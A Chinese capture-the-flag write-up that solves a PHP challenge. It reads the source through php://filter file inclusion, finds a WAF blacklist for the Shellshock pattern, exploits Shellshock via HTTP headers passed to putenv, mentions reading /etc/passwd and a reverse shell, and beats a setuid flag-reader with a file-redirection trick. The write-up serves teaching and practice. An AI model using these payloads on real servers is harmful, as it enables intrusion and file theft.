0x01

题目地址

首先打开页面,发现导航栏中有几个选项。每个都点了一下之后,发现其用处。

这里的tar -tvf并不会将文件解压到某个位置,所以没有什么可以利用的点。

例如ls

也能执行其它一些命令但是有限制,例如whoami就不会被运行。

这里猜测这个功能做了白名单进行限制,这里没有源码,所以也认为没有可以用的点。

例如当前目录

其中存在一个cat-flag.png很引人注目。接着又翻了翻其它的目录,其中/情况如下。

/目中存在一个flag,并且还有个flag-reader二进制程序,还启用了s权限,这样就能感觉的出来前面的cat-flag.png应该一个幌子。

功能就是上面这些。其实这个时候结合当前目录文件和功能的url已经可以做出一个推断:即调用功能的页面可能是以一个文件包含的形式。这样那么大概形式就应该是include($x.'.php');

因而这里利用php://filter进行流式读取。

func=php://filter/read=convert.base64-encode/resource=index
func=php://filter/read=convert.base64-encode/resource=ls
func=php://filter/read=convert.base64-encode/resource=cmd
func=php://filter/read=convert.base64-encode/resource=man
func=php://filter/read=convert.base64-encode/resource=untar

这样就得到了5个功能页面的源码(包括index.php)。
其中man.php|ls.php|untar.php都没有可以利用的点,cmd.php和预期的那样是做了个白名单。其中cmd.php的白名单如下。

这个地方可以使用cat flag查看是不是有什么提示之类的,虽然很大可能性就是个幌子。

果然什么都没有。那么就看到index.php的源码。

...
function  fuck($msg)  {
header('Content-Type: text/plain');
echo  $msg;
exit;
}

$black_list  =  [
'\/flag',  '\(\)\s*\{\s*:;\s*\};'
];

function  waf($a)  {
global  $black_list;
if(is_array($a))  {
foreach($a  as  $key  =>  $val)  {
waf($key);
waf($val);
}
}  else  {
foreach($black_list  as  $b)  {
if(preg_match("/$b/",  $a)  ===  1)  {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function  execute($cmd, $shell='bash')  {
system(sprintf('%s -c %s',  $shell,  escapeshellarg($cmd)));
}

foreach($_SERVER  as  $key  =>  $val)  {
if(substr($key,  0,  5)  ===  'HTTP_')  {
putenv("$key=$val");
}
}

$page  =  '';

if(isset($_GET['func']))  {
$page  =  $_GET['func'];
if(strstr($page,  '..')  !==  false)  {
$page  =  '';
}
}

if($page  &&  strlen($page)  >  0)  {
try  {
include("$page.php");
}  catch  (Exception  $e)  {
}
}

function  render_default()  {  ?>

其中$black_list禁用了/flag\(\)\s*\{\s*:;\s*\};,第一个好理解,把第二个做个简化处理变成() { :; }。如果熟悉CVE 2014-6271的话,其实看到putenv就能反应过来是个破壳漏洞利用。加上这里的黑名单提示和之前的cmd中允许执行env命令也能够推断出这个漏洞。(关于破壳漏洞

先读取个/etc/passwd测试。

这里也可以先读取flag-reader.c,看看是不是执行个命令就完事了。

flag-reader.c

#include  <unistd.h>
#include  <syscall.h>
#include  <fcntl.h>
#include  <string.h>

int  main(int argc,  char  *argv[])
{
    char buff[4096], rnd[16], val[16];
    if(syscall(SYS_getrandom,  &rnd,  sizeof(rnd),  0) !=  sizeof(rnd))  {
        write(1,  "Not enough random\n",  18);
    }

    setuid(1337);
    seteuid(1337);
    alarm(1);
    write(1,  &rnd,  sizeof(rnd));
    read(0,  &val,  sizeof(val));

    if(memcmp(rnd, val,  sizeof(rnd))  ==  0)  {
        int fd =  open(argv[1], O_RDONLY);
        if(fd >  0)  {
            int s =  read(fd, buff,  1024);
            if(s >  0)  {
                write(1, buff, s);
            }
            close(fd);
        }  else  {
            write(1,  "Can not open file\n",  18);
        }
    }  else  {
        write(1,  "Wrong response\n",  16);
    }
}

这里的alarm已经说明只能在一秒之内输出转变为输入才能去读取/flag这个文件。因而还是反弹shell回来处理为妙。

关于flag-reader.c的绕过,就只需要找个可以写文件的目录,写入输出再读作输入就能解决。
这里的/tmp是不可读的。

找到/var/tmp是可以写入文件的。

payload:

./flag-reader > /var/tmp/idlefire < /var/tmp/idlefire /flag

这样这道题就结束了。

0x02 One's Storm

  1. 利用文件包含读取源码
  2. 分析源码找出漏洞
  3. 利用漏洞获取shell
  4. 利用重定向绕过检测程序

源链接

Hacking more

...